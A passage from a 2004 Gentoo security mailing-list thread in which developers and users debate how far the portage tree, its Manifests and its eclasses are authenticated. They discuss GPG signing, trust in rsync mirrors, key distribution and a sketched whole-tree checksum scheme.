Plus, the glibc ebuild maintainer should be tracking the changes.  He knows
what's going on in glibc land, he knows the build process, he should be
in touch with the main developers, and he should be reading the diffs.

If he doesn't have the time or skill to do that, he can at least compare
against the work of people who do, such as the source packages of Debian
or Fedora Core.  It is pretty easy to do a diff.

Plus #2: both the glibc tarballs and the source packages of other distros
are signed.  The glibc maintainer should have all those signatures on hand,
if needed, and be verifying them all before he puts the entire Gentoo
user base at risk.

I think this point is a red herring.

> >  (2) Are there plans for getting it fixed?
> 
> We already implemented a major change nearly a year ago by moving
> 'rsync.gentoo.org' onto servers that are managed by the Gentoo team.
> Previously, we relied on community mirrors which worked well, but didn't
> allow us to ensure the servers were all held to the same high security
> standard. 

Excellent.

> We've also taken a number of other steps to mitigate this type of exposure
> including getting GPG signing into portage and the creation of an auditing
> project which reviews the ebuilds and code used in our distribution.

Fantastic.

> > I have read some of the material Alexander hyper-linked to
> > and, frankly, most of it is outright frightening.
> 
> Then you should immediately unplug your computer from the internet.  The
> minute you jack in, you're accepting some level of risk.  That's just the
> nature of the beast.

That's rather condescending.

I would instead recommend that he compare Gentoo to other distros that take
package signing more seriously.  It may be that the features and benefits
of a source-based distro like Gentoo outweigh the need for signed ebuilds,
like it does for me on one of my machines.  But it also may mean that
some machines require the security and peace of mind of another distro's
signing practices and verification policies.  Other machines I admin
fall into this category as well.

- Chris


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Is anybody else worried about this? (was: Trojan for Gentoo, part 2)

[Dan Noe]

[-- Attachment #1: Type: text/plain, Size: 502 bytes --]

On Sun, Nov 07, 2004 at 12:01:35PM -0500, Chris Frey wrote:
> On Sun, Nov 07, 2004 at 03:40:46PM +0000, Kurt Lieber wrote:
> > As another poster already noted, of course it is, but it's not specific to
> > Gentoo.

Does anyone know what 'BSD does or doesn't do to secure the /usr/ports 
tree?  Would these methods work for gentoo?

Dan

-- 
                    /--------------- - -  -  -   -   -
                   |  Dan Noe, freelance hacker
                   |  http://isomerica.net/

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

Re: [gentoo-security] Re: Is anybody else worried about this? (was: Trojan for Gentoo, part 2)

[Marc Ballarin]

On Sun, 7 Nov 2004 12:01:35 -0500
Chris Frey <cdfrey@netdirect.ca> wrote:

> You don't.  But that's like saying there's no point in closing the front
> door since the bedroom window might be open.  If the front door is
> closed and locked, then at least we can pay more attention to the open
> window.

But you have not achieved more security. That is the point. If a
distributor promises package integrity through signatures, they are
lying. It is like showing of the locked front door without mentioning the
open bedroom window.

OTOH: If you are responsible for the front door's security, you should
close it, of course. This is why Gentoo *should* use signatures.
However, it is wrong to excpect or even promise a great improvement in
security through this measure.

> 
> Plus, the glibc ebuild maintainer should be tracking the changes.  He
> knows what's going on in glibc land, he knows the build process, he
> should be in touch with the main developers, and he should be reading
> the diffs.

This might work for glibc (Don't know, really.). But it certainly won't
work for many other packages. All the developer can do here is trust the
guy at the bedroom window - just to stay with that example.

> 
> If he doesn't have the time or skill to do that, he can at least compare
> against the work of people who do, such as the source packages of Debian
> or Fedora Core.  It is pretty easy to do a diff.

And Debian will compare against Gentoo, while Redhat compares gainst Suse,
who in turn...

My point being: Manipulations can be subtle, escpecially if they are
carefully planned. Many eys are necessary to spot them. Manipulations at a
low-level (a projects CVS-server) could easily propagate to many distros.
So it comes down to either check for yourself or trust the upstream
developers and their signatures and checksums.

If you use signatures to verify a package, you have to understand exactly
what guarantees are given.

This is exactly one thing: 
The package or ebuild is identical to the version the Gentoo developer
signed, provided that his workstation has not been compromised.

Nothing else is guaranteed.

The reason signing still makes sense is numbers and probability. There are
only few developer machines, they are mostly unknown to attackers and are
hopefully not used as servers.

rsync mirrors, otoh,  are many, well known and constantly exposed to the
internet.

Regards

--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: Is anybody else worried about this? (was: Trojan for Gentoo, part 2)

[Peter Simons]

Marc Ballarin writes:

 > If a distributor promises package integrity through
 > signatures, they are lying.

The signature doesn't promise that the package is "correct"
in any sense of the word, but it guarantees that it is the
same package Gentoo intended to distribute.

If you don't see how that improves security, then I frankly
don't know what else to say.


 > This might work for glibc (Don't know, really.). But it
 > certainly won't work for many other packages.

Again, this problem is not about glibc, it is about making
sure that data is distributed unmodified. I trust the Gentoo
developers to take care that the software they package up is
as secure as it can be. But I don't trust the Internet to
give me the same package that the Gentoo developers uploaded
to the main server.


 > My point being: Manipulations can be subtle

Manipulations are impossible if the package is signed.


 > If you use signatures to verify a package, you have to
 > understand exactly what guarantees are given.

I do.


 > The package or ebuild is identical to the version the
 > Gentoo developer signed, provided that his workstation
 > has not been compromised.

 > Nothing else is guaranteed.

Then let's guarantee that and work from there, because
without that guarantee every other security measure is
pointless.

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Is anybody else worried about this? (was: Trojan for Gentoo, part 2)

[Kurt Lieber]

[-- Attachment #1: Type: text/plain, Size: 2379 bytes --]

On Sun, Nov 07, 2004 at 12:01:35PM -0500 or thereabouts, Chris Frey wrote:
> Plus, the glibc ebuild maintainer should be tracking the changes.  He knows
> what's going on in glibc land, he knows the build process, he should be
> in touch with the main developers, and he should be reading the diffs.

If you believe this happens for even 20% of the packages in our tree,
you're mistaken.  Most devs look at changelogs.  Few devs look at code
diffs.  Note I did not say "Gentoo devs".

> I would instead recommend that he compare Gentoo to other distros that take
> package signing more seriously.  It may be that the features and benefits
> of a source-based distro like Gentoo outweigh the need for signed ebuilds,
> like it does for me on one of my machines.  But it also may mean that
> some machines require the security and peace of mind of another distro's
> signing practices and verification policies.  Other machines I admin
> fall into this category as well.

I would recommend that you, along with the other folks who have
misunderstood what this thread is about go back and re-read the original
post.  This has nothing to do with signed ebuilds in portage.  Signed
ebuilds in portage is something that is already implemented and supported
as an experimental feature as of 2.0.51:

http://www.gentoo.org/news/20041021-portage51.xml

The original poster was talking about the inability to verify *eclasses*,
not ebuilds.  eclasses are an important part of portage from a features and
functionality perspective, but they make up a small fraction of the overall
tree in terms of sheer number of files.  My point was and still is that
investing the time and effort to also sign these files isn't worth it given
the myriad of other larger holes that already exist further upstream.

We can argue all day long about whether or not to stick our finger in the
dike to plug the leak we see, but if there's a 3x3 hole just around the
bend that's gushing water, are we really serving any useful purpose?

Or, to leverage one of the primary tenets of FOSS -- if there are folks on
the list who truly believe this is a hole that should be fixed, provide
patches to portage to add this functionality.  It already supports signing
to some degree -- one could reasonably assume that adding support for
signing of eclasses is relatively easy for a competent python programmer.

--kurt

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

[gentoo-security] No, apparently not. (was: Is anybody else worried about this?)

[Peter Simons]

Kurt Lieber writes:

 > I would recommend that you, along with the other folks
 > who have misunderstood what this thread is about go back
 > and re-read the original post. [...] The original poster
 > was talking about the inability to verify *eclasses*, not
 > ebuilds.

Okay. This is the point where I realize that I was wasting
my time.

There is a certain irony to the fact that you (and others)
go on and on lecturing me (and others), all the while it is
perfectly obvious that you have absolutely no idea what this
problem really *means*.

So if you guys would like to be the laughing stock of the
free software community once this vulnerability is exploited
for the first time, all I say is: Be my guest.

I am out of this thread.

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] No, apparently not. (was: Is anybody else worried about this?)

[Kurt Lieber]

[-- Attachment #1: Type: text/plain, Size: 1429 bytes --]

On Mon, Nov 08, 2004 at 12:52:42AM +0100 or thereabouts, Peter Simons wrote:
> There is a certain irony to the fact that you (and others)
> go on and on lecturing me (and others), all the while it is
> perfectly obvious that you have absolutely no idea what this
> problem really *means*.

Perhaps you haven't done a good job of educating us, then.

I will say that I was one of the folks arguing most strongly for getting
ebuild signing support in portage, so I certainly see the value in that
feature.  I also see the value in getting signed eclasses in portage, but I
believe that value to be less and not as important as other things within
portage that I'd like to see.

> So if you guys would like to be the laughing stock of the
> free software community once this vulnerability is exploited
> for the first time, all I say is: Be my guest.

Gentoo is a community-based distribution.  I'm sorry you see it as an "us
vs. them" thing.  I'm also sorry you apparently ignored the part where I
said that if you believe this to be a serious problem, then please feel
free to provide patches that fix it.  Being a community-based distro, we
rely on each other to make Gentoo a better distribution.  We don't wait for
"them" to fix problems.  Instead, we roll up our sleeves and become part of
the solution.  Just because I don't personally agree with your
interpretation of this issue doesn't mean that you can't fix it.

--kurt

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

[gentoo-security] Re: No, apparently not. (was: Is anybody else worried about this?)

[Peter Simons]

Kurt Lieber writes:

 > Perhaps you haven't done a good job of educating us, then.

Then I'll explain it one last time.

The entire contents of /usr/portage is not authenticated.
All the manifest files, all the patches, all the ebuilds are
obtained through a public network without _any_ form of
authentication.

This means that the wonderful SSP/PIE patches for gcc, the
SELinux kernel, the PaX additions, the digest-checking for
upstream packages -- it is all completely worthless, because
after you have performed an "emerge sync" you have no idea
what your system does.

Anybody who has access to a mildly central router or domain
name server in the Internet can take your machine over
completely without any effort at all. And as it happens,
there is (a) no way for the user to remedy this situation,
there is (b) no way to recognize this has happened, and (c)
the vulnerability has been known for over 1.5 years.

Does that make it any clearer why this problem might be
worth being solved, like, soon?

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: No, apparently not. (was: Is anybody else worried about this?)

[Anthony Gorecki]

[-- Attachment #1: Type: text/plain, Size: 341 bytes --]

On Sunday 07 November 2004 5:05 pm, Peter Simons wrote:
> Anybody who has access to a mildly central router or domain
> name server in the Internet can take your machine over

Not to mention wireless data injection attacks, for anyone running a wireless 
connection on their system.


-- 
Anthony Gorecki
Ectro-Linux Foundation


[-- Attachment #2: Type: application/pgp-signature, Size: 828 bytes --]

[gentoo-security] Re: No, apparently not. (was: Is anybody else worried about this?)

[Peter Simons]

Anthony Gorecki writes:

 > Not to mention wireless data injection attacks, for
 > anyone running a wireless connection on their system.

And let's not forget the added bonus that because Gentoo
builds everything from the source code, the attack is
completely platform independent and works nicely on x86,
AMD, PowerPC, and whatnot else.

Great job.

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: No, apparently not. (was: Is anybody else worried about this?)

[Jake Hawkes]

Peter Simons said:
> Anthony Gorecki writes:
>
>  > Not to mention wireless data injection attacks, for
>  > anyone running a wireless connection on their system.
>
> And let's not forget the added bonus that because Gentoo
> builds everything from the source code, the attack is
> completely platform independent and works nicely on x86,
> AMD, PowerPC, and whatnot else.
>
> Great job.
>

You, with caustic replies like that, you're not going to motivate anyone.



--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: No, apparently not. (was: Is anybody else worried about this?)

[Kurt Lieber]

[-- Attachment #1: Type: text/plain, Size: 1320 bytes --]

On Mon, Nov 08, 2004 at 02:05:26AM +0100 or thereabouts, Peter Simons wrote:
> The entire contents of /usr/portage is not authenticated.
> All the manifest files, all the patches, all the ebuilds are
> obtained through a public network without _any_ form of
> authentication.

That is factually incorrect.  

Pick any Gentoo machine that has a reasonably recent portage tree and do
any of the following:

cat /usr/portage/sys-apps/portage/Manifest
cat /usr/portage/app-editors/vim/Manifest
cat /usr/portage/dev-lang/perl/Manifest

Those are but three examples.  Certainly not all files are signed, but to
say that we're completely ignorant of the problem is a grossly unfair
mischaracterization.  

> Does that make it any clearer why this problem might be
> worth being solved, like, soon?

It certainly does show that you haven't taken the time to understand what
features portage currently does and does not offer.

Again, nobody is arguing about signing ebuilds.  That functionality already
exists as of .51 and we're working on getting devs to sign their ebuilds.
Work is *already* under way to solve this problem -- you're wasting your
breath if this is all you're concerned about.  

The original message talked about eclasses and specifically, their lack of
versioning.

--kurt

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

[gentoo-security] Re: No, apparently not. (was: Is anybody else worried about this?)

[Peter Simons]

Kurt Lieber writes:

 > Pick any Gentoo machine that has a reasonably recent
 > portage tree and do any of the following:

 > cat /usr/portage/sys-apps/portage/Manifest

You know, the good thing about this discussion is that I
really learned something: When I say "I am out of this
thread", then I should keep my word.

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: No, apparently not. (was: Is anybody else worried about this?)

[Tobias Klausmann]

Hi! 

On Mon, 08 Nov 2004, Kurt Lieber wrote:
> > The entire contents of /usr/portage is not authenticated.
> > All the manifest files, all the patches, all the ebuilds are
> > obtained through a public network without _any_ form of
> > authentication.
> 
> That is factually incorrect.  
> 
> Pick any Gentoo machine that has a reasonably recent portage tree and do
> any of the following:
> 
> cat /usr/portage/sys-apps/portage/Manifest

This does not contain a GPG signature here. Of all packages...

> cat /usr/portage/app-editors/vim/Manifest
> cat /usr/portage/dev-lang/perl/Manifest

I've run a script across the entire tree, collecting 43 different
signature keys IDs from Manifest files in all (from a total of
2074 signed Manifest files, making up about 1/4). Of those keys,
16 were unavailable on the Subkeys Public Key Network (listed
below). Where can I get those?

0x012E7061
0x1E37DA76
0x2D86E6F4
0x3526BFED
0x8256272E
0x8F01B50A
0x96E7B687
0xAD8D10B6
0xAF09E289
0xB0FAE1C1
0xBC58B271
0xC4BBD87A
0xCA9EC979
0xE95F7581
0xEB0E2EF7

Wondering, 
Tobias
-- 
export DISPLAY=vt100

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: No, apparently not. (was: Is anybody else worried about this?)

[Kurt Lieber]

[-- Attachment #1: Type: text/plain, Size: 938 bytes --]

On Mon, Nov 08, 2004 at 10:19:27AM +0100 or thereabouts, Tobias Klausmann wrote:
> > cat /usr/portage/sys-apps/portage/Manifest
> 
> This does not contain a GPG signature here. Of all packages...

It did when I typed that message last night.  Someone must have committed a
new version of portage without signing things.  I agree, portage should be
signed.  It's still a new process for us, so it will take time to get to
100%.

> I've run a script across the entire tree, collecting 43 different
> signature keys IDs from Manifest files in all (from a total of
> 2074 signed Manifest files, making up about 1/4). Of those keys,
> 16 were unavailable on the Subkeys Public Key Network (listed
> below). Where can I get those?

Good question -- I don't know.  They should be available on pgp.mit.edu,
but if they're not, then I'd suggest start filing bugs against those
individual packages.  (NOT portage bugs)

--kurt

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

Re: [gentoo-security] Re: No, apparently not. (was: Is anybody else worried about this?)

[Tobias Klausmann]

Hi! 

On Mon, 08 Nov 2004, Kurt Lieber wrote:
> > > cat /usr/portage/sys-apps/portage/Manifest
> > 
> > This does not contain a GPG signature here. Of all packages...
> 
> It did when I typed that message last night.  Someone must have committed a
> new version of portage without signing things.  I agree, portage should be
> signed.  It's still a new process for us, so it will take time to get to
> 100%.
> 
> > I've run a script across the entire tree, collecting 43 different
> > signature keys IDs from Manifest files in all (from a total of
> > 2074 signed Manifest files, making up about 1/4). Of those keys,
> > 16 were unavailable on the Subkeys Public Key Network (listed
> > below). Where can I get those?
> 
> Good question -- I don't know.  They should be available on pgp.mit.edu,
> but if they're not, then I'd suggest start filing bugs against those
> individual packages.  (NOT portage bugs)

I just tried: none of them is. I'll file a slew of bugs today (or
maybe tonight, depending on when I can find the time).

What i think would be best is providing them by keyserver; I
suggest the subkeys.pgp.net network as pretty much all other
keyservers use server software which is buggy (details on that
can be found on the corresponding mailing lists for gnupg).

The idea of providing the keyring with the install images is a
double-edged sword: if I have no Internet, not having any keys
might be bad, but providing them with the image opens an attack
vector.

On the other hand, who will install untrustworthy stuff if he
can't access the Internet?

Greets,
Tobias

-- 
export DISPLAY=vt100

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: No, apparently not. (was: Is anybody else worried about this?)

[Anthony Metcalf]

[-- Attachment #1: Type: text/plain, Size: 931 bytes --]

On Mon, 8 Nov 2004 12:53:06 +0100
Tobias Klausmann <klausman@schwarzvogel.de> wrote:

> The idea of providing the keyring with the install images is a
> double-edged sword: if I have no Internet, not having any keys
> might be bad, but providing them with the image opens an attack
> vector.

This is a valid point, I was thinking along the lines of : when you get the install cd you have another cd that you can optionally stick in your machine, add the keys to your keyring, and start installing. You then know you have all the correct keys.

Ideally the devs would meet at some specified place (a gentoo keyparty) every six months or year or so to exchange keys and prove identites. Only these keys would be added to the cd. The logistics of this would be interesting, in the "old chinese proverb" meaning of the word. :)

Just a source of the keys when your installing would be nice, but I do see the the "double-edged" point.

[-- Attachment #2: Type: application/pgp-signature, Size: 187 bytes --]

Re: [gentoo-security] Re: No, apparently not.

[Thierry Carrez]

[-- Attachment #1: Type: text/plain, Size: 1758 bytes --]

Tobias Klausmann wrote:

>>cat /usr/portage/sys-apps/portage/Manifest
> 
> This does not contain a GPG signature here. Of all packages...

My /usr/portage/sys-apps/portage/Manifest does.

> I've run a script across the entire tree, collecting 43 different
> signature keys IDs from Manifest files in all (from a total of
> 2074 signed Manifest files, making up about 1/4). Of those keys,
> 16 were unavailable on the Subkeys Public Key Network (listed
> below). Where can I get those?
> [...]

I think you get the problem. There have been threads like this one in
the past (on gentoo-dev mostly), all discussing how easy signing is and
why isn't it already implemented. Signing is not hard. Trusting the
signature is. Having "eclasses signed" is necessary at some point. But
if you can't already trust the signatures that are today in portage,
it's not top priority.

We are aware of the problem. We're slowly getting Gentoo package
maintainers to sign their ebuilds. Next we'll have to establish the
chain of trust right, from a master key published on trusted media, to
published keys, to verification when using any file downloaded. Next
we'll plug the remaining holes. All of this takes time, in part because
portage modifications have to go slowly so that we don't just break
things for our existing users.

For the moment you still have to trust Gentoo rsync mirror
infrastructure security. In the future we will get that weak link
handled. And then we'll hurry to fix the new weakest link.

Note that getting the key from a public key server won't authenticate
anything. It will merely do the identification part. Anyone can submit a
key with a gentoo.org address to a public key server.

-- 
Thierry Carrez
Operational Manager, Gentoo Linux Security

[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 189 bytes --]

[gentoo-security] Re: No, apparently not.

[Peter Simons]

Thierry Carrez writes:

 > For the moment you still have to trust Gentoo rsync
 > mirror infrastructure security.

No, you have to trust every single IP router on the path to
the mirror in addition to the domain name system.

Peter


--
gentoo-security@gentoo.org mailing list

[gentoo-security] Keys on a cd?

[Anthony Metcalf]

[-- Attachment #1: Type: text/plain, Size: 796 bytes --]

On Mon, 8 Nov 2004 10:19:27 +0100
Tobias Klausmann <klausman@schwarzvogel.de> wrote:

> Hi! 
> 
> On Mon, 08 Nov 2004, Kurt Lieber wrote:
 Where can I get those?
> 
> 0x012E7061
> 0x1E37DA76
> 0x2D86E6F4
> 0x3526BFED
> 0x8256272E
> 0x8F01B50A
> 0x96E7B687
> 0xAD8D10B6
> 0xAF09E289
> 0xB0FAE1C1
> 0xBC58B271
> 0xC4BBD87A
> 0xCA9EC979
> 0xE95F7581
> 0xEB0E2EF7

As per this. Would it be sensible, once the gpg system is up and running in portage. To have a cd, obtainable from the gentoo store, with all the current public keys on it.

Dev's could be asked to get updated keys to the cd's maintainers on a regular basis. 

Obviously the keys should all be on public servers too, it would just be another way to get the keys. 

The cd could be distributed along side all the installation cd's too.

[-- Attachment #2: Type: application/pgp-signature, Size: 187 bytes --]

Re: [gentoo-security] Keys on a cd?

[Kurt Lieber]

[-- Attachment #1: Type: text/plain, Size: 474 bytes --]

On Mon, Nov 08, 2004 at 10:36:24AM +0000 or thereabouts, Anthony Metcalf wrote:
> As per this. Would it be sensible, once the gpg system is up and running in portage. To have a cd, obtainable from the gentoo store, with all the current public keys on it.

Not the way we've implemented GPG signing -- each dev has their own ebuild
signing key.  Given the churn rate in the dev community, a CD would be out
of date almost instantly. 

My $.02 and all that.

--kurt

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

Re: [gentoo-security] No, apparently not.

[Brian Bilbrey]

Peter Simons wrote:
> So if you guys would like to be the laughing stock of the
> free software community once this vulnerability is exploited
> for the first time, all I say is: Be my guest.

How is this NOT a problem with every distribution that offers downloads
... oh, that's right ... ALL of them? Yep.

Instead of a bunch of hounds baying at the Gentoo devs, who do what they
 do without much in the way of remuneration, and who have absolutely the
best intentions and concern for the user base ... why not HELP them
design a tool that can help ameliorate the risk to some acceptable level.

I'll agree that having signed files will be a step forward in security,
but also ack that in the larger scheme of things, it means little. But
progress in a forward direction is always a good thing. Now, how about
an independent signature/hash of the entire portage tree?

If I wanted something like that, I might start with some assumptions
(any of which may be false, but I'm using the assumptions to generate a
scenario):

1. The master machine (or cluster or whatever) is the source of
distribution to a limited set of secondary mirrors, from which all other
mirrors sync, and from those, end users sync.

2. So an end user is perhaps two, but likely three steps away from the
master.

3. The secondaries sync to the master on a known schedule ... let's say
hourly.

4. Commits to the master currently happen on no set schedule.

Okay, with those four assumptions, could we do something like this:

1. Queue up commits to the master for 55 minutes of every hour.

2. At minute 55, close off access by the secondary mirrors.

3. Apply the commits to the master.

4. Write a datestamp/serial number into the master, then run a hash
against it. Put that hash on the gentoo main site, and other places
where the portage tree is not mirrored, either appended to the hashfile
(as a serial number / hash pair) or as a standalone hash in a file
that's named for the serial number, in a directory full of such things.

	For example:
	
	export FILENAME=`date | md5sum | cut -f1 -d' '`
	echo $FILENAME >> /usr/portage/serial_number
	tar cf - /usr/portage --exclude distfiles | md5sum \
		>> /root/$FILENAME

	[copy the /root/$FILENAME over to the appropriate distribution points,
webservers, whatever]

5. Reopen access by the secondaries.


Then, at the user end, after performing an emerge sync, the process is
run again, by portage:
	
	export FILENAME=`cat /usr/portage/serial_number`
	wget http://www.gentoo.org/$FILENAME
		# thus retrieving the checksum for that particular
		# snapshot
	tar cf - /usr/portage --exclude distfiles | md5sum | \
		diff - $FILENAME

If the checksums match, the diff returns 0, clean tree, and we can all
start worrying about the packages that are downloaded from the URLS
contained in each ebuild.

To break this, the main mirror can be compromised (one must presume that
this is protected) OR a secondary or tertiary mirror can be owned, along
with at least one source of the checksum file, which are independent of
all mirror machines. Of course, the combinations of mirror and checksum
sources mean that alarm bells will be going off pretty quickly, unless
the main mirror is owned. Then all bets are off, but eventually we all
die, right?

Okay, that's one scenario, based upon possibly silly assumptions. But it
or something like it could be implemented. I could probably even pretend
to be able to help with a portage patch, except that I have no concept
of the actual infrastructure for portage tree distribution, which will
tie into how portage works with such a scheme.

Let's be useful to the developers here, folks. Hell, I'm pissed off
about some of what I've read in this thread, and I don't have any axe to
grind in the matter.

HTH,

.brian

--
Brian Bilbrey : http://www.orbdesigns.com/
  ... maybe they can't be called "volunteers" any more if somebody
  ends up being silly enough to pay them for something they'd have
  done for free anyway. - Linus in the Seattle Times

--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: No, apparently not.

[Peter Simons]

Brian Bilbrey writes:

 > Then, at the user end, after performing an emerge sync,
 > the process is run again, by portage:

 > 	export FILENAME=`cat /usr/portage/serial_number`
 > 	wget http://www.gentoo.org/$FILENAME

The process breaks at this point because if someone can
redirect your access to a sync mirror, he can redirect your
access to the web server, too. So the hash will always match
the portage tree because the attacker generated both.


 > Let's be useful to the developers here, folks.

I have posted a concrete proposal that does fix the problem
long before this thread spun out of control.

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] No, apparently not.

[Ed Grimm]

On Sun, 7 Nov 2004, Brian Bilbrey wrote:

> Peter Simons wrote:
> > So if you guys would like to be the laughing stock of the
> > free software community once this vulnerability is exploited
> > for the first time, all I say is: Be my guest.
>
> How is this NOT a problem with every distribution that offers downloads
> ... oh, that's right ... ALL of them? Yep.

Based on some comments I've read from others in this discussion, not
Debian.  I suspect there may be others, but, quite frankly, I'm not
following many distributions right now.

> Instead of a bunch of hounds baying at the Gentoo devs, who do what they
>  do without much in the way of remuneration, and who have absolutely the
> best intentions and concern for the user base ... why not HELP them
> design a tool that can help ameliorate the risk to some acceptable level.
>
> I'll agree that having signed files will be a step forward in security,
> but also ack that in the larger scheme of things, it means little. But
> progress in a forward direction is always a good thing. Now, how about
> an independent signature/hash of the entire portage tree?

RSYNC_EXCLUDEFROM.

A signature on the entire portage is only useful if people download the
entire portage.  Further, since you're having this performed by the
server, if one compromised that server, they could compromise all Gentoo
systems.  Finally, it means that one can only apply changes to the
master rsync server once an hour, and it takes up a fairly large amount
of resources when that happens.

Admittedly, that's assuming that the Gentoo baselayout maintainers have
resonably secure system - after all, no matter what, compromising a
baselayout maintainer's system, or to a lesser extent, any core herd
member's system, gives access to the whole pie.  But there isn't
anything that can be done about that, other than making certain that
they're educated on security practices and follow them.


So how is it that having the Manifest files all signed, and having the
Manifest signatures checked, and checking all the MD5 sums in the
Manifest files against the files in the directories only a partial
answer?  What openings remain for illicit content to make its way onto
the servers, without having gone through a dev?

Ed

--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: No, apparently not.

[Peter Simons]

Ed Grimm writes:

 > So how is it that having the Manifest files all signed,
 > and having the Manifest signatures checked, and checking
 > all the MD5 sums in the Manifest files against the files
 > in the directories only a partial answer?

/usr/portage/eclass is not authenticated by this and
contains shell code that's (possibly) executed with
superuser privileges.

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: No, apparently not.

[Ed Grimm]

On Mon, 8 Nov 2004, Peter Simons wrote:
> Ed Grimm writes:
>
>> So how is it that having the Manifest files all signed,
>> and having the Manifest signatures checked, and checking
>> all the MD5 sums in the Manifest files against the files
>> in the directories only a partial answer?
>
> /usr/portage/eclass is not authenticated by this and
> contains shell code that's (possibly) executed with
> superuser privileges.

Would the obvious fix not be provide signed Manifest files for the
eclasses as well?

Ed

--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: No, apparently not.

[Peter Simons]

Ed Grimm writes:

 > Would the obvious fix not be provide signed Manifest
 > files for the eclasses as well?

Yes, that would fix the problem. However, if you want to
make sure your tree is properly authenticated, you have
authenticate _every single file_ in it. In a day and age
where people can hack your machine by setting appropriate
pixels in a GIF image, I wouldn't take any unnecessary
risks. Having dozens of signatures split over dozens of
directories is not a (human-)failure-resistant procedure,
IMHO.

I am also not quite certain yet how to bootstrap the system
securely. For example: Where does the properly authenticated
GPG ebuild come from?

Anyway, if all files are covered by the manifests, then it
would be secure.

Peter


--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: Re: Is anybody else worried about this? (was: Trojan for Gentoo, part 2)

[Chris Frey]

On Sun, Nov 07, 2004 at 11:26:55PM +0000, Kurt Lieber wrote:
> If you believe this happens for even 20% of the packages in our tree,
> you're mistaken.  Most devs look at changelogs.  Few devs look at code
> diffs.  Note I did not say "Gentoo devs".

I hope they at least check the signatures of the packages that have them
available.

This would be an interesting poll question, if we could get a number
of devs to participate (and not just Gentoo devs). :-)

I know I look at code diffs for packages that matter to me, and have done
code audits of certain software I rely on for security.  I do realize that
there is the ever-present time constraints, but part of the advantage
of having multiple maintainers for a distro is that this kind of work
can be spread around.

> Signed ebuilds in portage is something that is already implemented
> and supported as an experimental feature as of 2.0.51:
> 
> http://www.gentoo.org/news/20041021-portage51.xml

Given this release is only 2.5 weeks old, I hope you'll pardon my not
knowing this.  :-)  I'm quite pleased to see that this has reached the
experimental stage.

I just downloaded a fresh portage tree to take a look, and I notice
that signatures are making their way into the Manifest files.  Is this
an automated process?  If so, can we expect all the Manifest files to
soon be signed?

> The original poster was talking about the inability to verify *eclasses*,
> not ebuilds.  eclasses are an important part of portage from a features and
> functionality perspective, but they make up a small fraction of the overall
> tree in terms of sheer number of files.  My point was and still is that
> investing the time and effort to also sign these files isn't worth it given
> the myriad of other larger holes that already exist further upstream.

Wouldn't it be sufficient to put a Manifest file in the eclass/ directory
and sign it as well?

> Or, to leverage one of the primary tenets of FOSS -- if there are folks on
> the list who truly believe this is a hole that should be fixed, provide
> patches to portage to add this functionality.  It already supports signing
> to some degree -- one could reasonably assume that adding support for
> signing of eclasses is relatively easy for a competent python programmer.

I note you mention this often, and I do appreciate the need for people
to join in and help out.  The main roadblock to implementing new signing
procedures, for the outsider, is that it requires access to the server
to implement the signing, or it requires participation from all devs,
depending on the method chosen.

Given this roadblock, I don't think it is completely fair to lay this job
at users' feet.

What I'm trying to say is that signing doesn't have to be implemented for
the end user in portage before it is implemented on the server.  Once the
signatures are available on the server, all this talk would go away, and
those that are concerned would do the checks, and those that aren't
wouldn't.  The concerned would likely share their checking scripts as well.

So, I'm quite happy that there are experimental features in portage that
deal with this, but I'd be even happier if every Manifest file in the
portage tree was signed, even if portage code didn't do the checks yet.

- Chris


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Re: Is anybody else worried about this? (was: Trojan for Gentoo, part 2)

[Kurt Lieber]

[-- Attachment #1: Type: text/plain, Size: 3169 bytes --]

On Sun, Nov 07, 2004 at 08:03:36PM -0500 or thereabouts, Chris Frey wrote:
> I just downloaded a fresh portage tree to take a look, and I notice
> that signatures are making their way into the Manifest files.  Is this
> an automated process?  If so, can we expect all the Manifest files to
> soon be signed?

It's largely automated, yes.  It still requires the developer committing
the ebuild to take the time to set up their system appropriately.  A doc
explaining the necessary steps is available here:

http://dev.gentoo.org/~genone/docs/manifest-signing.txt

> Wouldn't it be sufficient to put a Manifest file in the eclass/ directory
> and sign it as well?

Entirely possible.  I'm not a python programmer, so I don't know how
hard/easy this would be to implement.

> I note you mention this often, and I do appreciate the need for people
> to join in and help out.  The main roadblock to implementing new signing
> procedures, for the outsider, is that it requires access to the server
> to implement the signing, or it requires participation from all devs,
> depending on the method chosen.
> 
> Given this roadblock, I don't think it is completely fair to lay this job
> at users' feet.

I'm not laying anything at anyone's feet.  What I'm trying to say is that
the only way this problem will ever get fixed is if someone who cares about
it devotes the time to fixing it. 

> What I'm trying to say is that signing doesn't have to be implemented for
> the end user in portage before it is implemented on the server.  Once the
> signatures are available on the server, all this talk would go away, and
> those that are concerned would do the checks, and those that aren't
> wouldn't.  The concerned would likely share their checking scripts as well.

Back when signing was first being discussed, a conscious decision was made
to avoid server-based signing, specifically because it was felt that
offered a false sense of security.  It didn't ensure integrity between the
developer's machine and the master cvs repository.  Per-dev signing, on the
other hand, did.  

Thus, the current signing model in portage requires each dev to sign their
own stuff and I don't think veering away from that strategy simply to
